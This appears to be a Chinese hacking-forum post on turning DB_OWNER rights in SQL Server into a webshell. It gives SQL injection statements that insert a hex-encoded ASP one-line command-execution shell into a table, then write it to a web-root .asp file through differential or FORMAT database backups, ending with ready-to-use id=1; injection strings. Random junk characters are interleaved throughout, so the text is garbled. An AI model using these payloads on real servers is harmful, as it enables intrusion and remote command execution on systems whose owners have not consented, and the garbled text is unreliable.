DB_OWNER权限得到webshell的两点改进:& F$ k O! z7 H! j$ A( R4 H
& s$ H9 }" U4 _! Z; _
减少备份文件大小,得到可执行的webshell成功率提高不少& u" H) {; _+ }5 Z
一利用差异备份
7 f v' T4 A0 J' S2 b- w' c% V加一个参数WITH DIFFERENTIAL
. o5 z A) W$ K- _0 M/ [$ o
) \4 j" z& U8 {' [% _1
2 K# v; C0 I, ~2 v% F2* C: g0 N- i W" l7 l0 g
3" c3 B' _+ o" [' G
4
% {1 ?" Q: P6 w) h4 e0 K& U declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s9 b2 r) f! C6 N, I# W
create table [dbo].[xiaolu] ([cmd] [image]); {0 Q, s' I) P
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4 N$ O9 \$ t( L4 f$ ]" vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
/ p' e1 H- s! ~4 T) t9 q4 y" S* u0 R/ |
二利用完全FORMAT
2 n* m c3 p, `$ M( v) I1 x加一个参数WITH FROMAT
9 W3 I+ q5 \7 [8 g4 X0 s有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以0 X# }, U3 r) C- z, E+ o
% ]/ i# d3 ~6 Q5 C9 G1
1 X$ [3 Z2 X/ ~! y2
4 A2 P2 A# m. ?( D+ j0 R3% R# U5 ~) p) G; ] R% V
4* {. f4 z: |' @$ A' _
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
i4 M8 N) C( I7 `1 E5 {create table [dbo].[xiaolu] ([cmd] [image]);* ~# S0 F7 a. ~2 Z! A1 R% \
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)- ^* Y3 Z3 {9 r- X: v& U. _4 E
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT + P$ X( H6 a+ M3 _
4 |& c5 o z; Y7 E
总的来说就是那么简单几句,下面以备份数据库model为例子/ T- L7 U' \: m. R# Z
1
9 G3 M9 K w, X6 E+ z
; I' E: T4 d. m+ b; k0 i2 i10 j( Y2 w& Y- b: o6 i
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
' @; M9 I% Y$ v$ m4 `" S. J: p9 ^* ^5 {8 i/ u& w9 p% |+ Q7 |
28 ]5 i% H, k0 H
* ^1 U, t" {( _9 X) K19 c9 s% X* J# b& Q
id=1;backup database model to disk='你的路径‘ with differential,format;--
+ S2 ]+ X+ W6 ^* _- _' i8 n+ } |